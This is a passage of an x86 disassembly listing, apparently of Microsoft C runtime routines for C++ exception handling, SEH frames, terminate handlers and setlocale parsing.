[ebp+arg_18] push ecx mov edx, [ebp+arg_14] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4244E0 add esp, 10h loc_4242AA: ; CODE XREF: sub_424280+10j cmp [ebp+arg_24], 0 jnz short loc_4242BF mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_419340 ; --------------------------------------------------------------------------- jmp short loc_4242CC ; --------------------------------------------------------------------------- loc_4242BF: ; CODE XREF: sub_424280+2Ej mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_24] push edx call sub_419340 sub_424280 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424280 loc_4242CC: ; CODE XREF: sub_424280+3Dj mov eax, [ebp+arg_1C] mov ecx, [eax] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_424150 add esp, 10h mov edx, [ebp+arg_1C] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx+8], eax push 100h mov edx, [ebp+arg_20] push edx mov eax, [ebp+arg_14] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_424340 add esp, 1Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_424333 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_8] push ecx call sub_4192D0 loc_424333: ; CODE XREF: sub_424280+A4j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424280 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424340 proc near ; CODE XREF: sub_424280+95p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 0042447B SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434188 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax mov [ebp+var_24], 0 mov ecx, [ebp+arg_4] mov edx, [ecx-4] mov [ebp+var_28], edx call sub_41F970 mov eax, [eax+6Ch] mov [ebp+var_1C], eax call sub_41F970 mov ecx, [eax+70h] mov [ebp+var_20], ecx call sub_41F970 mov edx, [ebp+arg_0] mov [eax+6Ch], edx call sub_41F970 mov ecx, [ebp+arg_8] mov [eax+70h], ecx mov [ebp+var_4], 0 mov [ebp+var_4], 1 mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_419410 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], 0 jmp short loc_42440F ; --------------------------------------------------------------------------- loc_4243DE: ; DATA XREF: ___:00434198o mov ecx, [ebp+var_14] push ecx call sub_424490 add esp, 4 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_2C], 0 push 0FFFFFFFFh mov [ebp+var_30], 0 lea edx, [ebp+var_10] push edx call sub_4196F2 add esp, 8 mov eax, [ebp+var_30] jmp short loc_42447E ; --------------------------------------------------------------------------- loc_42440F: ; CODE XREF: sub_424340+9Cj mov [ebp+var_4], 0FFFFFFFFh call sub_42441D jmp short loc_42447B sub_424340 endp ; =============== S U B R O U T I N E ======================================= sub_42441D proc near ; CODE XREF: sub_424340+D6p ; DATA XREF: ___:00434190o mov eax, [ebp+0Ch] mov ecx, [ebp-28h] mov [eax-4], ecx call sub_41F970 mov edx, [ebp-1Ch] mov [eax+6Ch], edx call sub_41F970 mov ecx, [ebp-20h] mov [eax+70h], ecx mov edx, [ebp+8] cmp dword ptr [edx], 0E06D7363h jnz short locret_42447A mov eax, [ebp+8] cmp dword ptr [eax+10h], 3 jnz short locret_42447A mov ecx, [ebp+8] cmp dword ptr [ecx+14h], 19930520h jnz short locret_42447A cmp dword ptr [ebp-24h], 0 jnz short locret_42447A cmp dword ptr [ebp-2Ch], 0 jz short locret_42447A call sub_41975A push eax mov edx, [ebp+8] push edx call sub_424760 add esp, 8 locret_42447A: ; CODE XREF: sub_42441D+28j ; sub_42441D+31j ... retn sub_42441D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424340 loc_42447B: ; CODE XREF: sub_424340+DBj mov eax, [ebp+var_2C] loc_42447E: ; CODE XREF: sub_424340+CDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424340 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424490 proc near ; CODE XREF: sub_424340+A2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp dword ptr [edx], 0E06D7363h jnz short loc_4244CC mov eax, [ebp+var_4] cmp dword ptr [eax+10h], 3 jnz short loc_4244CC mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 19930520h jnz short loc_4244CC mov edx, [ebp+var_4] cmp dword ptr [edx+1Ch], 0 jnz short loc_4244CC mov eax, 1 jmp short loc_4244CE ; --------------------------------------------------------------------------- loc_4244CC: ; CODE XREF: sub_424490+15j ; sub_424490+1Ej ... xor eax, eax loc_4244CE: ; CODE XREF: sub_424490+3Aj mov esp, ebp pop ebp retn sub_424490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4244E0 proc near ; CODE XREF: sub_424280+22p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4341A0 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_424526 mov ecx, [ebp+arg_8] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jz short loc_424526 mov ecx, [ebp+arg_8] cmp dword ptr [ecx+8], 0 jnz short loc_42452B loc_424526: ; CODE XREF: sub_4244E0+2Dj ; sub_4244E0+3Bj jmp loc_42474A ; --------------------------------------------------------------------------- loc_42452B: ; CODE XREF: sub_4244E0+44j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+arg_4] lea edx, [ecx+eax+0Ch] mov [ebp+var_1C], edx mov [ebp+var_4], 0 mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 8 test ecx, ecx jz short loc_4245A6 push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42A820 add esp, 8 test eax, eax jz short loc_42459C push 1 mov ecx, [ebp+var_1C] push ecx call sub_42A850 add esp, 8 test eax, eax jz short loc_42459C mov edx, [ebp+var_1C] mov eax, [ebp+arg_0] mov ecx, [eax+18h] mov [edx], ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+var_1C] mov ecx, [eax] push ecx call sub_4247F0 add esp, 8 mov edx, [ebp+var_1C] mov [edx], eax jmp short loc_4245A1 ; --------------------------------------------------------------------------- loc_42459C: ; CODE XREF: sub_4244E0+81j ; sub_4244E0+93j call sub_424940 loc_4245A1: ; CODE XREF: sub_4244E0+BAj jmp loc_424733 ; --------------------------------------------------------------------------- loc_4245A6: ; CODE XREF: sub_4244E0+6Cj mov eax, [ebp+arg_C] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_42462A push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42A820 add esp, 8 test eax, eax jz short loc_424620 push 1 mov ecx, [ebp+var_1C] push ecx call sub_42A850 add esp, 8 test eax, eax jz short loc_424620 mov edx, [ebp+arg_C] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_4197C0 add esp, 0Ch mov ecx, [ebp+arg_C] cmp dword ptr [ecx+14h], 4 jnz short loc_42461E mov edx, [ebp+var_1C] cmp dword ptr [edx], 0 jz short loc_42461E mov eax, [ebp+arg_C] add eax, 8 push eax mov ecx, [ebp+var_1C] mov edx, [ecx] push edx call sub_4247F0 add esp, 8 mov ecx, [ebp+var_1C] mov [ecx], eax loc_42461E: ; CODE XREF: sub_4244E0+11Aj ; sub_4244E0+122j jmp short loc_424625 ; --------------------------------------------------------------------------- loc_424620: ; CODE XREF: sub_4244E0+E5j ; sub_4244E0+F7j call sub_424940 loc_424625: ; CODE XREF: sub_4244E0:loc_42461Ej jmp loc_424733 ; --------------------------------------------------------------------------- loc_42462A: ; CODE XREF: sub_4244E0+D0j mov edx, [ebp+arg_C] cmp dword ptr [edx+18h], 0 jnz short loc_424690 push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_42A820 add esp, 8 test eax, eax jz short loc_424686 push 1 mov edx, [ebp+var_1C] push edx call sub_42A850 add esp, 8 test eax, eax jz short loc_424686 mov eax, [ebp+arg_C] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_4247F0 add esp, 8 push eax mov edx, [ebp+var_1C] push edx call sub_4197C0 add esp, 0Ch jmp short loc_42468B ; --------------------------------------------------------------------------- loc_424686: ; CODE XREF: sub_4244E0+166j ; sub_4244E0+178j call sub_424940 loc_42468B: ; CODE XREF: sub_4244E0+1A4j jmp loc_424733 ; --------------------------------------------------------------------------- loc_424690: ; CODE XREF: sub_4244E0+151j push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_42A820 add esp, 8 test eax, eax jz loc_42472E push 1 mov edx, [ebp+var_1C] push edx call sub_42A850 add esp, 8 test eax, eax jz short loc_42472E mov eax, [ebp+arg_C] mov ecx, [eax+18h] push ecx call sub_42A880 add esp, 4 test eax, eax jz short loc_42472E mov edx, [ebp+arg_C] mov eax, [edx] and eax, 4 test eax, eax jz short loc_424705 push 1 mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_4247F0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_419330 jmp short loc_42472C ; --------------------------------------------------------------------------- loc_424705: ; CODE XREF: sub_4244E0+1F8j mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_4247F0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_419320 loc_42472C: ; CODE XREF: sub_4244E0+223j jmp short loc_424733 ; --------------------------------------------------------------------------- loc_42472E: ; CODE XREF: sub_4244E0+1C3j ; sub_4244E0+1D9j ... call sub_424940 loc_424733: ; CODE XREF: sub_4244E0:loc_4245A1j ; sub_4244E0:loc_424625j ... mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42474A ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_424890 loc_42474A: ; CODE XREF: sub_4244E0:loc_424526j ; sub_4244E0+25Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4244E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424760 proc near ; CODE XREF: sub_423CD0+252p ; sub_42441D+55p var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4341B0 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp cmp [ebp+arg_0], 0 jz short loc_4247D5 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+4], 0 jz short loc_4247D5 mov [ebp+var_4], 0 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_419310 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4247D5 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] and eax, 0FFh neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_424890 loc_4247D5: ; CODE XREF: sub_424760+2Aj ; sub_424760+36j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4247F0 proc near ; CODE XREF: sub_4244E0+ADp ; sub_4244E0+131p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jl short loc_42482F mov eax, [ebp+arg_4] mov ecx, [eax+4] mov edx, [ebp+arg_0] mov eax, [edx+ecx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov ecx, [ebp+var_4] add ecx, [eax+edx] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] add eax, [edx+4] mov [ebp+var_4], eax loc_42482F: ; CODE XREF: sub_4247F0+16j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4247F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424840 proc near ; CODE XREF: sub_419410+4Dp ; sub_424150+8Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41977D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42487F mov ecx, 2 loc_42487F: ; CODE XREF: sub_424840+38j push ecx call sub_41977D pop ebp pop ecx pop ebx leave retn 0Ch sub_424840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424890 proc near ; CODE XREF: sub_423CD0:loc_423F63p ; sub_424250:loc_424271p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424904 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4341C0 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 call sub_41F970 cmp dword ptr [eax+60h], 0 jz short loc_4248F0 mov [ebp+var_4], 1 call sub_41F970 call dword ptr [eax+60h] mov [ebp+var_4], 0 jmp short loc_4248F0 ; --------------------------------------------------------------------------- loc_4248E0: ; DATA XREF: ___:004341D0o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4248E6: ; DATA XREF: ___:004341D4o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_4248F0: ; CODE XREF: sub_424890+36j ; sub_424890+4Ej mov [ebp+var_4], 0FFFFFFFFh call sub_4248FE jmp short loc_424904 sub_424890 endp ; =============== S U B R O U T I N E ======================================= sub_4248FE proc near ; CODE XREF: sub_424890+67p ; DATA XREF: ___:004341C8o call sub_42A8B0 retn sub_4248FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424890 loc_424904: ; CODE XREF: sub_424890+6Cj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424890 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41F970 cmp dword ptr [eax+64h], 0 jz short loc_424936 call sub_41F970 call dword ptr [eax+64h] loc_424936: ; CODE XREF: ___:0042492Cj call sub_424890 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424940 proc near ; CODE XREF: sub_419620+23p ; sub_419620:loc_41968Dp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004249B0 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4341D8 push offset sub_426A54 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 cmp off_444270, 0 jz short loc_42499C mov [ebp+var_4], 1 call off_444270 mov [ebp+var_4], 0 jmp short loc_42499C ; --------------------------------------------------------------------------- loc_42498C: ; DATA XREF: ___:004341E8o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_424992: ; DATA XREF: ___:004341ECo mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_42499C: ; CODE XREF: sub_424940+34j ; sub_424940+4Aj mov [ebp+var_4], 0FFFFFFFFh call sub_4249AA jmp short loc_4249B0 sub_424940 endp ; =============== S U B R O U T I N E ======================================= sub_4249AA proc near ; CODE XREF: sub_424940+63p call sub_424890 retn sub_4249AA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424940 loc_4249B0: ; CODE XREF: sub_424940+68j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424940 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0B0h cmp dword ptr [ebp+8], 0 jl short loc_4249E5 cmp dword ptr [ebp+8], 5 jle short loc_4249EC loc_4249E5: ; CODE XREF: ___:004249DDj xor eax, eax jmp loc_424DBB ; --------------------------------------------------------------------------- loc_4249EC: ; CODE XREF: ___:004249E3j push 13h call sub_41B780 add esp, 4 mov dword ptr [ebp-4], 1 mov eax, dword_4DB458 add eax, 1 mov dword_4DB458, eax loc_424A0A: ; CODE XREF: ___:00424A1Bj cmp dword_4DB45C, 0 jz short loc_424A1D push 1 call near ptr 2690599h nop jmp short loc_424A0A ; --------------------------------------------------------------------------- loc_424A1D: ; CODE XREF: ___:00424A11j cmp dword ptr [ebp+8], 0 jz short loc_424A61 cmp dword ptr [ebp+0Ch], 0 jz short loc_424A41 mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_424DC0 add esp, 8 mov [ebp-0A8h], eax jmp short loc_424A53 ; --------------------------------------------------------------------------- loc_424A41: ; CODE XREF: ___:00424A27j mov eax, [ebp+8] imul eax, 0Ch mov ecx, dword_444384[eax] mov [ebp-0A8h], ecx loc_424A53: ; CODE XREF: ___:00424A3Fj mov edx, [ebp-0A8h] mov [ebp-8], edx jmp loc_424D9B ; --------------------------------------------------------------------------- loc_424A61: ; CODE XREF: ___:00424A21j mov dword ptr [ebp-14h], 1 mov dword ptr [ebp-0Ch], 0 cmp dword ptr [ebp+0Ch], 0 jz loc_424D93 mov eax, [ebp+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 4Ch jnz loc_424CA4 mov edx, [ebp+0Ch] movsx eax, byte ptr [edx+1] cmp eax, 43h jnz loc_424CA4 mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+2] cmp edx, 5Fh jnz loc_424CA4 mov eax, [ebp+0Ch] mov [ebp-9Ch], eax loc_424AB1: ; CODE XREF: ___:00424C73j push offset asc_434234 ; "=;" mov ecx, [ebp-9Ch] push ecx call sub_42BDD0 add esp, 8 mov [ebp-0A0h], eax cmp dword ptr [ebp-0A0h], 0 jz short loc_424AFD mov edx, [ebp-0A0h] sub edx, [ebp-9Ch] mov [ebp-0A4h], edx cmp dword ptr [ebp-0A4h], 0 jz short loc_424AFD mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jnz short loc_424B23 loc_424AFD: ; CODE XREF: ___:00424AD2j ; ___:00424AEDj cmp dword ptr [ebp-4], 0 jz short loc_424B1C push 13h call sub_41B820 add esp, 4 mov edx, dword_4DB458 sub edx, 1 mov dword_4DB458, edx loc_424B1C: ; CODE XREF: ___:00424B01j xor eax, eax jmp loc_424DBB ; --------------------------------------------------------------------------- loc_424B23: ; CODE XREF: ___:00424AFBj mov dword ptr [ebp-10h], 1 jmp short loc_424B35 ; --------------------------------------------------------------------------- loc_424B2C: ; CODE XREF: ___:loc_424B81j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_424B35: ; CODE XREF: ___:00424B2Aj cmp dword ptr [ebp-10h], 5 jg short loc_424B83 mov ecx, [ebp-0A4h] push ecx mov edx, [ebp-9Ch] push edx mov eax, [ebp-10h] imul eax, 0Ch mov ecx, off_444380[eax] push ecx call sub_418480 add esp, 0Ch test eax, eax jnz short loc_424B81 mov edx, [ebp-10h] imul edx, 0Ch mov eax, off_444380[edx] push eax call sub_414BE0 add esp, 4 cmp [ebp-0A4h], eax jnz short loc_424B81 jmp short loc_424B83 ; --------------------------------------------------------------------------- loc_424B81: ; CODE XREF: ___:00424B60j ; ___:00424B7Dj jmp short loc_424B2C ; --------------------------------------------------------------------------- loc_424B83: ; CODE XREF: ___:00424B39j ; ___:00424B7Fj push offset asc_434230 ; ";" mov ecx, [ebp-0A0h] add ecx, 1 mov [ebp-0A0h], ecx mov edx, [ebp-0A0h] push edx call sub_42BD90 add esp, 8 mov [ebp-0A4h], eax cmp dword ptr [ebp-0A4h], 0 jnz short loc_424BE9 mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jz short loc_424BE9 cmp dword ptr [ebp-4], 0 jz short loc_424BE2 push 13h call sub_41B820 add esp, 4 mov edx, dword_4DB458 sub edx, 1 mov dword_4DB458, edx loc_424BE2: ; CODE XREF: ___:00424BC7j xor eax, eax jmp loc_424DBB ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: ___:00424BB3j ; ___:00424BC1j cmp dword ptr [ebp-10h], 5 jg short loc_424C3A mov eax, [ebp-0A4h] push eax mov ecx, [ebp-0A0h] push ecx lea edx, [ebp-98h] push edx call sub_417770 add esp, 0Ch mov eax, [ebp-0A4h] mov byte ptr [ebp+eax-98h], 0 lea ecx, [ebp-98h] push ecx mov edx, [ebp-10h] push edx call sub_424DC0 add esp, 8 test eax, eax jz short loc_424C3A mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_424C3A: ; CODE XREF: ___:00424BEDj ; ___:00424C2Fj mov ecx, [ebp-0A0h] add ecx, [ebp-0A4h] mov [ebp-9Ch], ecx loc_424C4C: ; DATA XREF: ___:00444BC4o ; ___:00444C0Co mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jz short loc_424C68 mov ecx, [ebp-9Ch] add ecx, 1 mov [ebp-9Ch], ecx loc_424C68: ; CODE XREF: ___:00424C57j mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jnz loc_424AB1 cmp dword ptr [ebp-0Ch], 0 jz short loc_424C8C call sub_424F60 mov [ebp-0ACh], eax jmp short loc_424C96 ; --------------------------------------------------------------------------- loc_424C8C: ; CODE XREF: ___:00424C7Dj mov dword ptr [ebp-0ACh], 0 loc_424C96: ; CODE XREF: ___:00424C8Aj mov ecx, [ebp-0ACh] mov [ebp-8], ecx jmp loc_424D91 ; --------------------------------------------------------------------------- loc_424CA4: ; CODE XREF: ___:00424A82j ; ___:00424A92j ... mov edx, [ebp+8] push edx push 0 push 0 lea eax, [ebp-98h] push eax mov ecx, [ebp+0Ch] push ecx call sub_425060 add esp, 14h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_424D91 mov dword ptr [ebp-10h], 0 jmp short loc_424CDE ; --------------------------------------------------------------------------- loc_424CD5: ; CODE XREF: ___:loc_424D3Ej mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_424CDE: ; CODE XREF: ___:00424CD3j cmp dword ptr [ebp-10h], 5 jg short loc_424D40 cmp dword ptr [ebp-10h], 0 jz short loc_424D3E mov eax, [ebp-10h] imul eax, 0Ch mov ecx, dword_444384[eax] push ecx lea edx, [ebp-98h] push edx call sub_417870 add esp, 8 test eax, eax jz short loc_424D35 lea eax, [ebp-98h] push eax mov ecx, [ebp-10h] push ecx call sub_424DC0 add esp, 8 test eax, eax jz short loc_424D2C mov edx, [ebp-0Ch] add edx, 1 mov [ebp-0Ch], edx jmp short loc_424D33 ; --------------------------------------------------------------------------- loc_424D2C: ; CODE XREF: ___:00424D1Fj mov dword ptr [ebp-14h], 0 loc_424D33: ; CODE XREF: ___:00424D2Aj jmp short loc_424D3E ; --------------------------------------------------------------------------- loc_424D35: ; CODE XREF: ___:00424D08j mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_424D3E: ; CODE XREF: ___:00424CE8j ; ___:loc_424D33j jmp short loc_424CD5 ; --------------------------------------------------------------------------- loc_424D40: ; CODE XREF: ___:00424CE2j cmp dword ptr [ebp-14h], 0 jz short loc_424D6B call sub_424F60 mov [ebp-8], eax push 2 mov ecx, dword_444384 push ecx call sub_415860 add esp, 8 mov dword_444384, 0 jmp short loc_424D91 ; --------------------------------------------------------------------------- loc_424D6B: ; CODE XREF: ___:00424D44j cmp dword ptr [ebp-0Ch], 0 jz short loc_424D7E call sub_424F60 mov [ebp-0B0h], eax jmp short loc_424D88 ; --------------------------------------------------------------------------- loc_424D7E: ; CODE XREF: ___:00424D6Fj mov dword ptr [ebp-0B0h], 0 loc_424D88: ; CODE XREF: ___:00424D7Cj mov edx, [ebp-0B0h] mov [ebp-8], edx loc_424D91: ; CODE XREF: ___:00424C9Fj ; ___:00424CC6j ... jmp short loc_424D9B ; --------------------------------------------------------------------------- loc_424D93: ; CODE XREF: ___:00424A73j call sub_424F60 mov [ebp-8], eax loc_424D9B: ; CODE XREF: ___:00424A5Cj ; ___:loc_424D91j cmp dword ptr [ebp-4], 0 jz short loc_424DB8 push 13h call sub_41B820 add esp, 4 mov eax, dword_4DB458 sub eax, 1 mov dword_4DB458, eax loc_424DB8: ; CODE XREF: ___:00424D9Fj mov eax, [ebp-8] loc_424DBB: ; CODE XREF: ___:004249E7j ; ___:00424B1Ej ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DC0 proc near ; CODE XREF: ___:00424A31p ; ___:00424C25p ... var_A8 = dword ptr -0A8h var_A0 = dword ptr -0A0h var_9C = byte ptr -9Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_A0] push ecx lea edx, [ebp+var_A8] push edx lea eax, [ebp+var_9C] push eax mov ecx, [ebp+arg_4] push ecx call sub_425060 add esp, 14h test eax, eax jnz short loc_424DF9 xor eax, eax jmp loc_424F4F ; --------------------------------------------------------------------------- loc_424DF9: ; CODE XREF: sub_424DC0+30j push 132h push offset aSetlocal_c ; "setlocal.c" push 2 lea edx, [ebp+var_9C] push edx call sub_414BE0 add esp, 4 add eax, 1 push eax call sub_414DD0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_424E30 xor eax, eax jmp loc_424F4F ; --------------------------------------------------------------------------- loc_424E30: ; CODE XREF: sub_424DC0+67j mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, dword_444384[eax] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] loc_424E42: ; DATA XREF: ___:00444C34o mov eax, dword_4DB1B0[edx*4] mov [ebp+var_4], eax push 6 mov ecx, [ebp+arg_0] imul ecx, 6 add ecx, offset dword_4DB3E4 push ecx lea edx, [ebp+var_14] push edx call sub_4187B0 add esp, 0Ch mov eax, dword_4DB1C8 mov [ebp+var_18], eax lea ecx, [ebp+var_9C] push ecx mov edx, [ebp+var_8] push edx call sub_4184C0 add esp, 8 mov ecx, [ebp+arg_0] imul ecx, 0Ch mov dword_444384[ecx], eax mov edx, [ebp+var_A8] and edx, 0FFFFh mov eax, [ebp+arg_0] mov dword_4DB1B0[eax*4], edx push 6 lea ecx, [ebp+var_A8] push ecx mov edx, [ebp+arg_0] imul edx, 6 add edx, offset dword_4DB3E4 push edx call sub_4187B0 add 